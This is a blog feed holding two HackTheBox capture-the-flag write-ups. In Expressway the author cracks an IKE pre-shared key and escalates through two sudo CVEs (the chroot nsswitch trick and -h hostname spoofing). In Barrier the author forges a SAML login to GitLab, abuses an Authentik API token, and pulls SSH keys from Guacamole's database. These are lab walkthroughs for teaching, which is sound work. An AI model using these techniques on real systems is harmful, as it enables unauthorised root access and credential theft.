Jekyll2026-03-07T17:45:26+00:00https://0xdf.gitlab.io/feed.xml0xdf hacks stuffCTF solutions, malware analysis, home lab developmentHTB: Expressway2026-03-07T14:45:00+00:002026-03-07T14:45:00+00:00https://0xdf.gitlab.io/2026/03/07/htb-expressway
Expressway is a Linux box with only SSH and an IKE VPN service on UDP. I’ll use ike-scan in aggressive mode to leak the VPN identity and capture a pre-shared key hash, which cracks quickly with hashcat. Connecting to the IPSEC VPN doesn’t provide any additional attack surface, but the PSK works for SSH access. For privilege escalation, I’ll show exploitation of two different CVEs in sudo. In Beyond Root, I’ll look at the sudo config that allowed one of the exploits and show how to connect to the IPSec VPN with strongSwan.
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:58 UTC
...[snip]...
Nmap scan report for 10.129.13.71
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2026-03-01 19:58:00 UTC for 7s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
Raw packets sent: 70778 (3.114MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$sudo nmap -p 22 -sCV 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:59 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Based on the OpenSSH version, the host is likely running Debian Trixie (2025).
That’s clearly not much of an attack surface. I’ll scan the top 1000 UDP ports:
oxdf@hacky$sudo nmap -sU--min-rate 10000 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:06 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT STATE SERVICE
137/udp closed netbios-ns
500/udp open isakmp
20848/udp closed unknown
40866/udp closed unknown
49640/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
oxdf@hacky$sudo nmap -sU-p 500 -sCV 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:07 UTC
Nmap scan report for 10.129.13.71
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
500/udp open isakmp?
| ike-version:
| attributes:
| XAUTH
|_ Dead Peer Detection v1.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.52 seconds
500 is Internet Key Exchange (IKE), the protocol used for setting up IPSEC VPN connections.
It turns out that TFTP is open as well (UDP 69), but it’s very hard to identify with nmap (and I didn’t when enumerating). I’ll show it is open and hosting a file later.
IKE - UDP 500
The tool to enumerate IKE is ike-scan (sudo apt install ike-scan):
oxdf@hacky$ike-scan 10.129.13.71
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71 Main Mode Handshake returned HDR=(CKY-R=e87be20a68db8232) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
IKE also has a mode known as Aggressive Mode. For the Main Mode IKE exchange, there are six packets exchanged:
SA proposal (encryption/hash/DH group)
SA accepted
Key exchange (DH public values)
Key exchange response
Identity + hash (encrypted)
Identity + hash response (encrypted)
In Aggressive Mode, there are only three packets:
SA proposal + key exchange + identity + hash (all at once)
SA accepted + key exchange + hash
Confirmation
Aggressive Mode is needed when the VPN server hosts multiple groups/users with different pre-shared keys (PSKs). The server needs to know the identity upfront to look up the right PSK. Main mode can’t do this because identity is encrypted, so the server would have no way to know which PSK to use for decryption.
The downside is that it leaks the identity information before any authentication is done. It is enabled on Expressway.
It leaks an identity, ike@expressway.htb. I can capture the handshake and see if the PSK is crackable:
oxdf@hacky$ike-scan -A 10.129.13.71 --pskcrack=handshake.txt
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71 Aggressive Mode Handshake returned HDR=(CKY-R=66937bae6c61c21c) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
Ending ike-scan 1.9.5: 1 hosts scanned in 0.031 seconds (32.16 hosts/sec). 1 returned handshake; 0 returned notify
oxdf@hacky$cat handshake.txt
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1
hashcat is able to recognize the format and cracks it in 11 seconds on my host:
$ hashcat handshake.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5400 | IKE-PSK SHA1 | Network Protocol
...[snip]...
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1:freakingrockstarontheroad
...[snip]...
With this PSK, I can connect to the IPSEC VPN, but I don’t need to. I’ll do that in Beyond Root.
Shell as ike
With SSH open and a username and password, I’ll check if that works:
ike@expressway:~$ls-latotal 32
drwx------ 4 ike ike 4096 Sep 16 10:23 .
drwxr-xr-x 3 root root 4096 Aug 14 2025 ..
lrwxrwxrwx 1 root root 9 Aug 29 2025 .bash_history -> /dev/null
-rw-r--r-- 1 ike ike 220 May 18 2025 .bash_logout
-rw-r--r-- 1 ike ike 3526 Aug 28 2025 .bashrc
drwxr-xr-x 3 ike ike 4096 Aug 28 2025 .local
-rw-r--r-- 1 ike ike 807 May 18 2025 .profile
drwx------ 2 ike ike 4096 Sep 16 10:21 .ssh
-rw-r----- 1 root ike 33 Mar 1 19:56 user.txt
There is an SSH keypair in .ssh, but that doesn’t gain any additional access.
There are no other user home directories in /home, and no other non-root users with shells in passwd:
ike@expressway:/$sudo-l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
For security reasons, the password you type will not be visible.
Password:
Sorry, user ike may not run sudo on expressway.
TFTP / Cisco Config
In /srv/tftp/ciscortr.cfg there’s a Cisco config:
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname expressway
!
boot-start-marker
boot-end-marker
!
enable password *****
!
username ike password *****
ip subnet-zero
ip cef
!
vpdn enable
vpdn-group 1
request-dialin
protocol pppoe
!
ip dhcp excluded-address 10.0.1.1 10.0.1.10
ip dhcp excluded-address 10.0.2.1 10.0.2.10
ip dhcp excluded-address 10.0.3.1 10.0.3.10
!
ip dhcp pool vlan1
network 10.0.1.0 255.255.255.0
default-router 10.0.1.1
!
ip dhcp pool vlan2
network 10.0.2.0 255.255.255.0
default-router 10.0.2.1
!
ip dhcp pool vlan3
network 10.0.3.0 255.255.255.0
default-router 10.0.3.1
!
ip ips po max-events 100
no ftp-server write-enable
!
bridge irb
!
interface FastEthernet0
no ip address
!
interface FastEthernet1
no ip address
!
interface FastEthernet2
no ip address
!
interface FastEthernet3
switchport mode trunk
no ip address
!
interface FastEthernet4
ip address 192.168.68.1 255.255.255.0
no ip directed-broadcast (default)
speed auto
ip nat outside
ip access-group 103 in
no cdp enable
crypto ipsec client ezvpn ezvpnclient outside
crypto map static-map
!
crypto isakmp policy 1
encryption 3des
authentication pre-share
group 2
lifetime 480
!
crypto isakmp client configuration group rtr-remote
key secret-password
dns 208.67.222.222
domain expressway.htb
pool dynpool
!
crypto ipsec transform-set vpn1 esp-3des esp-md5
!
crypto ipsec security-association lifetime seconds 86400
!
crypto dynamic-map dynmap 1
set transform-set vpn1
reverse-route
!
crypto map static-map 1 ipsec-isakmp dynamic dynmap
crypto map dynmap isakmp authorization list rtr-remote
crypto map dynmap client configuration address respond
crypto ipsec client ezvpn ezvpnclient
connect auto
group 2 key secret-password
mode client
peer 192.168.100.1
!
interface Dot11Radio0
no ip address
!
broadcast-key vlan 1 change 45
!
encryption vlan 1 mode ciphers tkip
!
ssid cisco
vlan 1
authentication open
authentication network-eap eap_methods
authentication key-management wpa optional
!
ssid ciscowep
vlan 2
authentication open
!
ssid ciscowpa
vlan 3
authentication open
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
rts threshold 2312
power local cck 50
power local ofdm 30
channel 2462
station-role root
!
interface Dot11Radio0.1
description Cisco Open
encapsulation dot1Q 1 native
no cdp enable
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 spanning-disabled
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
!
interface Dot11Radio0.2
encapsulation dot1Q 2
bridge-group 2
bridge-group 2 subscriber-loop-control
bridge-group 2 spanning-disabled
bridge-group 2 block-unknown-source
no bridge-group 2 source-learning
no bridge-group 2 unicast-flooding
!
interface Dot11Radio0.3
encapsulation dot1Q 3
bridge-group 3
bridge-group 3 subscriber-loop-control
bridge-group 3 spanning-disabled
bridge-group 3 block-unknown-source
no bridge-group 3 source-learning
no bridge-group 3 unicast-flooding
!
interface Vlan1
no ip address
no ip directed-broadcast (default)
ip nat inside
crypto ipsec client ezvpn ezvpnclient inside
ip inspect firewall in
no cdp enable
bridge-group 1
bridge-group 1 spanning-disabled
!
interface Vlan2
no ip address
bridge-group 2
bridge-group 2 spanning-disabled
!
interface Vlan3
no ip address
bridge-group 3
bridge-group 3 spanning-disabled
!
interface BVI1
ip address 10.0.1.1 255.255.255.0
!
interface BVI2
ip address 10.0.2.1 255.255.255.0
!
ip classless
!
ip http server
no ip http secure-server
!
control-plane
!
bridge 1 route ip
bridge 2 route ip
bridge 3 route ip
!
ip inspect name firewall tcp
ip inspect name firewall udp
!
access-list 103 permit udp host 200.1.1.1 any eq isakmp
access-list 103 permit udp host 200.1.1.1 eq isakmp any
no cdp run
!
line con 0
password *****
no modem enable
transport preferred all
transport output all
line aux 0
transport preferred all
transport output all
line vty 0 4
password *****
transport preferred all
transport input all
transport output all
It contains credentials, but they are all masked as “*”s:
enable password *****
username ike password *****
Both line con 0 and line vty 0 4 have password *****
The VPN config shows a peer at 192.168.100.1. There’s also three VLANs with DHCP pools: 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24. There are three wireless SSIDs: cisco, ciscowep, ciscowpa.
I wasn’t able to identify TFTP earlier, and even if I had, TFTP doesn’t allow directory listing. But knowing the name of the file here I can get it remotely:
oxdf@hacky$curl tftp://10.129.13.71/ciscortr.cfg -s | head
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
The weird thing is that there are two copies of sudo, and /usr/local/bin is a weird place to have sudo. It typically comes installed by default and is located in /usr/bin. The copy in /usr/local/bin suggests that it was manually installed or compiled.
The versions are different:
ike@expressway:/$/usr/bin/sudo --versionSudo version 1.9.13p3
Sudoers policy plugin version 1.9.13p3
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.13p3
Sudoers audit plugin version 1.9.13p3
ike@expressway:/$/usr/local/bin/sudo --versionSudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
CVE Identification
Searching for vulnerabilities in this version of sudo returns a bunch of articles:
There are two CVEs cited over and over, CVE-2025-32462 and CVE-2025-32463. CVE-2025-32463 is the much easier path, but the intended path is CVE-2025-32462. I’ll show both.
Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the –chroot option.
-R directory, --chroot=directory
Change to the specified root directory (see chroot(8))
before running the command. The security policy may
return an error if the user does not have permission to
specify the root directory.
This option is deprecated and will be removed in a future
version of sudo,.
In sudo 1.9.14, a change was introduced to resolve paths via chroot() while the sudoers file was still being parsed. This means sudo enters the attacker-controlled chroot before it finishes evaluating the security policy.
The common abuse path here is the Name Service Switch configuration file, nsswitch.conf, which tells the system where to look up various types of information like:
passwd/group — user accounts and groups (local files, LDAP, NIS)
hosts — hostname resolution (files, DNS)
shadow — password hashes
A typical entry looks like:
passwd: files ldap
hosts: files dns
This means “for user lookups, check /etc/passwd first, then LDAP.” Each source is backed by a shared library. files loads libnss_files.so, ldap loads libnss_ldap.so, etc.
To exploit this, an attacker can:
Create a writable directory with a fake /etc/nsswitch.conf
Point nsswitch.conf to a malicious libnss_*.so shared library
Run sudo -R /attacker/controlled/path <command>
sudo chroots into the attacker’s directory, reads the fake nsswitch.conf, and loads the malicious library as root
Exploit
There are numerous POC scripts out there (such as this one from K1tt3h), but I’ll just do the steps manually.
I need a directory to work from, so I’ll use mktemp to get a directory and go to it:
When glibc loads this config, it will prepend libnss_ to the source name and append .so.2, in this case making libnss_/0xdf.so.2 and try to load that.
chroot won’t change the current directory, so it will try to resolve libnss_/0xdf.so.2 from my current directory, and find my malicious library. I just need to create that:
The POC uses -Wl,-init,<function name> to explicitly set the DT_INIT entry to that function at the linker. If that’s there, the function name must match the constructor function name (oxdf in this case, xd1337 in the POC). But given this already has __attribute__((constructor)), I don’t need to pass it at all.
To trigger the exploit, I’ll run sudo specifying the root of newroot:
ike@expressway:/tmp/tmp.AEMIRU8Jqx$/usr/bin/sudo --chroot newroot true[sudo] password for ike:
sudo: you are not permitted to use the -R option with true
1.9.13p3 is before the vulnerability was introduced.
Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.
This actually impacts versions 1.8.8 through 1.9.17, which is both sudo instances on Expressway.
sudo supports host-based restrictions in /etc/sudoers, allowing administrators to grant different privileges depending on which host a user is on. This is common in environments where a single sudoers file is distributed across multiple servers. A user might get root on dev boxes but not on production.
The -h flag lets users specify a target hostname. Vulnerable versions use this user-supplied hostname for policy evaluation instead of the actual system hostname. This means a user can spoof the hostname to match a permissive rule that was never intended to apply to the current machine.
Identify Hosts
For this exploit to work, I’ll need to guess a hostname that might be defined in the sudoers file. Some recursive grep around the host in places that might have hostnames will find this reference to offramp.expressway.htb in a Squid proxy log:
This is odd, as I’ve seen no evidence that squid is actually running on the host. Were I designing this box and intending this to be the path, I would have included this host in hosts and the Cisco config and elsewhere to make it seem more natural.
Exploit
The exploit is quite simple. I just run sudo with the -h <host> option, and if that host is specified in the /etc/sudoers file, it’ll run:
It worked! If I use some other host or without -h, it doesn’t:
ike@expressway:/$sudo-h doesnotexist.expressway.htb idPassword:
ike is not allowed to run sudo on doesnotexist.
ike@expressway:/$sudo idPassword:
ike is not allowed to run sudo on expressway.
ike@expressway:/$sudo-h expressway.htb idPassword:
ike is not allowed to run sudo on expressway.
It’s worth noting that this vulnerability is in both versions of sudo on this host:
ike@expressway:/$/usr/bin/sudo -h offramp.expressway.htb -isudo: unable to resolve host offramp.expressway.htb: Temporary failure in name resolution
Last login: Mon Mar 2 12:05:47 GMT 2026 on pts/1
root@expressway:~#
It’s not clear to me why the legit installed one needs to do a DNS resolution first (and thus hangs since the domain is not defined) but the local one doesn’t. It’s also not clear why this box has two versions of sudo.
Beyond Root
sudo Config
The sudoers file on Expressway is:
## This file MUST be edited with the 'visudo' command as root.## Please consider adding local content in /etc/sudoers.d/ instead of# directly modifying this file.## See the man page for details on how to write a sudoers file.#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"# This fixes CVE-2005-4890 and possibly breaks some versions of kdesu# (#1011624, https://bugs.kde.org/show_bug.cgi?id=452532)
Defaults use_pty
...[snip comments]...
# Host alias specification
Host_Alias SERVERS = expressway.htb, offramp.expressway.htb
Host_Alias PROD = expressway.htb
ike SERVERS, !PROD = NOPASSWD:ALL
ike offramp.expressway.htb = NOPASSWD:ALL
# User alias specification# Cmnd alias specification# User privilege specification
root ALL=(ALL:ALL) ALL
#svcMaestro ALL=(ALL:ALL) NOPASSWD: ALL#ike ALL=(axl) NOPASSWD: /usr/local/sbin/dosconverter# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
This intends to grant ike passwordless root only on offramp.expressway.htb, explicitly excluding expressway.htb (production). sudo checks the spoofed hostname against the sudoers rules, matches offramp.expressway.htb, and grants root, despite running on expressway.htb where it should be denied.
Connecting IPSEC VPN
Having identified the user (ike) and the PSK, I can now connect using strongSwan (sudo apt install strongswan). I’ll edit /etc/ipsec.conf:
oxdf@hacky$sudo ipsec restart
Stopping strongSwan IPsec...
Starting strongSwan 5.9.13 IPsec [starter]...
oxdf@hacky$sudo ipsec up expressway
initiating Aggressive Mode IKE_SA expressway[1] to 10.129.13.71
generating AGGRESSIVE request 0 [ SA KE No ID V V V V V ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (370 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (422 bytes)
parsed AGGRESSIVE response 0 [ SA KE No ID V V V V NAT-D NAT-D HASH ]
received XAuth vendor ID
received DPD vendor ID
received FRAGMENTATION vendor ID
received NAT-T (RFC 3947) vendor ID
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
IKE_SA expressway[1] established between 10.10.14.60[ike@expressway.htb]...10.129.13.71[ike@expressway.htb]
scheduling reauthentication in 9983s
maximum IKE_SA lifetime 10523s
generating AGGRESSIVE request 0 [ HASH NAT-D NAT-D ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (108 bytes)
generating QUICK_MODE request 2816494625 [ HASH SA No ID ID ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
sending retransmit 1 of request message ID 2816494625, seq 3
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (164 bytes)
parsed QUICK_MODE response 2816494625 [ HASH SA No ID ID ]
selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
CHILD_SA expressway{1} established with SPIs c8c88dc3_i c131fe7c_o and TS 10.10.14.60/32 === 10.129.13.71/32
generating QUICK_MODE request 2816494625 [ HASH ]
connection 'expressway' established successfully
Having this connection doesn’t open up anything new in this case.
Barrier is a Linux box with GitLab, Authentik, and Apache Guacamole. I’ll exploit a SAML signature bypass vulnerability in GitLab’s Ruby SAML library to forge a SAML assertion and log in as admin. From GitLab’s CI/CD variables, I’ll recover an Authentik API token and use it to create an admin account. With Authentik admin access, I’ll impersonate a user in Guacamole to get an SSH shell. From there, I’ll find database credentials for Guacamole’s MariaDB backend and extract an SSH private key and passphrase for another user. That user’s bash history contains a password that works with sudo to get root.
That suggests they are running in one or more containers.
Port 80 shows a redirect to gitlab.barrier.vl. That same domain is in the TLS certificate for port 443. I’ll use ffuf to bruteforce for any other subdomains of barrier.vl that respond differently on both HTTP and HTTPs, but not find anything. I’ll add the domain and subdomain to my hosts file:
10.129.234.46 barrier.vl gitlab.barrier.vl
Ports 9000 and 9443 both show headers that reference Authentik.
gitlab.barrier.vl - TCP 80 / 443
Site
Visiting the site over HTTP or HTTPS redirects to a GitLab signin page (over HTTPS):
Clicking “Explore” at the bottom right shows one public repo:
It’s got a single Python script:
The script uses hard-coded credentials to connect to this GitLab instance and then list repos:
oxdf@hacky$feroxbuster -u http://barrier.vl:8080
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://barrier.vl:8080
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 69w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter302 GET 0l 0w 0c http://barrier.vl:8080/manager/ => http://barrier.vl:8080/manager/html401 GET 63l 291w 2499c http://barrier.vl:8080/manager/html
302 GET 0l 0w 0c http://barrier.vl:8080/host-manager/ => http://barrier.vl:8080/host-manager/html302 GET 0l 0w 0c http://barrier.vl:8080/manager => http://barrier.vl:8080/manager/401 GET 54l 241w 2044c http://barrier.vl:8080/host-manager/html
200 GET 29l 211w 1895c http://barrier.vl:8080/
400 GET 1l 72w 771c http://barrier.vl:8080/plain]
400 GET 1l 72w 771c http://barrier.vl:8080/[
400 GET 1l 72w 771c http://barrier.vl:8080/]
400 GET 1l 72w 771c http://barrier.vl:8080/quote]
400 GET 1l 72w 771c http://barrier.vl:8080/extension]
400 GET 1l 72w 771c http://barrier.vl:8080/[0-9]
[####################] - 24s 30008/30008 0s found:12 errors:0
[####################] - 24s 30000/30000 1263/s http://barrier.vl:8080/
Nothing else too interesting.
Authentik - TCP 9000 / 9443
Both 9000 and 9443 are serving an instance of Authentik:
Authentik is an open-source Identity Provider (IdP) and Single Sign-On (SSO) solution. It supports protocols like SAML, OAuth2, OpenID Connect, and LDAP, allowing organizations to centralize authentication across multiple applications, acting as a unified login portal for services like GitLab, Grafana, Nextcloud, etc. It’s self-hosted and often deployed via Docker.
The satoru creds work, showing two applications on login:
Clicking “Gitlab” logs me in:
And clicking “Continue” loads GitLab. If I look at the requests, it’s using SAML to authenticate to GitLab:
Apache Guacamole is an open-source clientless remote desktop gateway. It lets users access remote desktops (via RDP, VNC, SSH, Telnet) through a web browser through an HTML5-based interface. Logging in there ends up at a Tomcat application, http://barrier.vl:8080/guacamole/#/:
I’m logged in as satoru, but I don’t seem to have any access to anything.
The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system. This vulnerability is fixed in 1.17.0 and 1.12.3.
That seems very useful here. I can use SAML to login as any user!
Enumerate GitLab Users
To know what user I want to login as, I’ll need to know the available usernames. I’ll need an API token, which I’ll get by going to the Preferences page (clicking on the logged in user’s icon) and then “Access tokens”. There I’ll click “Add new token”, giving it all the scopes:
Synacktiv has a POC. I’ll intercept the SAML XML assertion and use the script to modify it and put it back.
I’ll sign out of GitLab, and load the page in Authentik that shows the applications. Now I’ll enable interception in Burp Proxy, and launch GitLab from Authentic (I like to open it in a new tab so I keep the applications page).
After allowing a few requests to pass through, there will be the SAML request to gitlab.barrier.vl:
And paste that back into the hung request at Burp Proxy. On sending that, and turning off interception, I’m logged into GitLab as akadmin:
akadmin GitLab Enumeration
The akadmin user doesn’t have any repos. They are an admin, so they can access the Admin area. There is one runner setup:
It would be pretty straightforward to get RCE inside a runner container. This would give access to environment variables, but in general this isn’t a real path to the host system. Before I go to this trouble, I’ll check the stored variables. Under Settings > CI/CD there’s a Variables section, which is often used to store API keys to outside services that are meant to be used in CI/CD jobs:
There’s an AUTHENTIK_TOKEN, which I can get by hitting the copy icon next to the “*”s.
Authentik Admin Access
Authentik API Enumeration
I’ll check the token against the Authentik API (which is documented at api.goauthentik.io). A simple check is the admin version endpoint. I’ll try it without the token, see it fails, add the token, and it works:
This shows this token not only works but has at least some admin privileges. I can list the installed applications which shows both GitLab and Guacamole:
There’s no response, but that implies success (the docs took the Accept header out for this call). With -v it shows a 204, which is the success status code.
At this point I have a user with a password that can log in. They aren’t a superuser, and have no groups. To be useful, I’ll add it to the admin group. The user enumeration above shows the akadmin user is in the group with ID a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8. There’s an API to list groups:
The Impersonate button is interesting. I’ll try impersonating akadmin. It shows the same two apps, and I can log into both GitLab and Guacamole as akadmin, but nothing interesting comes from it.
If I Impersonate maki, GitLab doesn’t work:
However, Guacamole shows a connection:
Clicking on Maintenance loads a shell on an Ubuntu host named barrier:
oxdf@hacky$ssh -i ~/keys/barrier-maki-ed25519 maki@barrier.vl
Unable to negotiate with 10.129.234.46 port 22: no matching host key type found. Their offer: ssh-rsa
oxdf@hacky$ssh -i ~/keys/barrier-maki-rsa maki@barrier.vl
Unable to negotiate with 10.129.234.46 port 22: no matching host key type found. Their offer: ssh-rsa
Both fail with an error about needing ssh-rsa. This is not about the user key I’m offering, but the host key. Modern OpenSSH clients (8.8+) disabled the ssh-rsa host key algorithm by default because it uses SHA-1 for signatures, which is considered weak. Even though my user key is fine, the client is refusing to connect because it won’t accept the server’s RSA host key. I’ll add -oHostKeyAlgorithms=+ssh-rsa to accept that:
These are Apache Guacamole connections, saved remote desktop/SSH sessions configured in Guacamole’s web interface. Each one defines how Guacamole connects to a remote machine:
Maintenance — an SSH connection (likely for routine admin/maintenance tasks)
Maki_Adm — an SSH connection (likely an admin session for the maki user)
The actual connection details (hostname, port, username, password) are stored in the guacamole_connection_parameter table. These entries are a bit difficult to display, so I’ll look at them by connection_id (as there are only two). Maintenance has four entries:
This connection is also to localhost port 22, but this time as maki_adm with a given SSH key and its passphrase.
SSH
I’ll save that key on my VM and connect:
oxdf@hacky$ssh -i ~/keys/barrier-maki_adm -oHostKeyAlgorithms=+ssh-rsa maki_adm@barrier.vl
Enter passphrase for key '/home/oxdf/keys/barrier-maki_adm':
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-168-generic x86_64)
...[snip]...
maki_adm@barrier:~$
I’ll need to use the passphrase from the DB, as well as the -oHostKeyAlgorithms=+ssh-rsa option.
Shell as root
Enumeration
As maki_adm, there isn’t a ton of new stuff to access. The user’s home directory is rather empty:
maki_adm@barrier:~$ls-latotal 32
drwxr-x--- 4 maki_adm admin 4096 Dec 22 2024 .
drwxr-xr-x 5 root root 4096 Dec 23 2024 ..
-rw-r--r-- 1 root root 26 Dec 22 2024 .bash_history
-rw-r--r-- 1 maki_adm admin 220 Dec 22 2024 .bash_logout
-rw-r--r-- 1 maki_adm admin 3771 Dec 22 2024 .bashrc
drwx------ 2 maki_adm admin 4096 Dec 22 2024 .cache
-rw-r--r-- 1 maki_adm admin 807 Dec 22 2024 .profile
drwxrwxr-x 2 maki_adm admin 4096 Dec 22 2024 .ssh
-rw-r--r-- 1 maki_adm admin 0 Dec 22 2024 .sudo_as_admin_successful
However, I’ll note that the .bash_history file isn’t linked to /dev/null. That’s a big tell on a HTB machine. It looks like it’s running sudo to become root, and the next line looks like a password:
sudo su
Va4kSjgTHSd55ZLv
That password works for maki_adm to run sudo:
maki_adm@barrier:~$sudo-l[sudo] password for maki_adm:
Matching Defaults entries for maki_adm on barrier:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
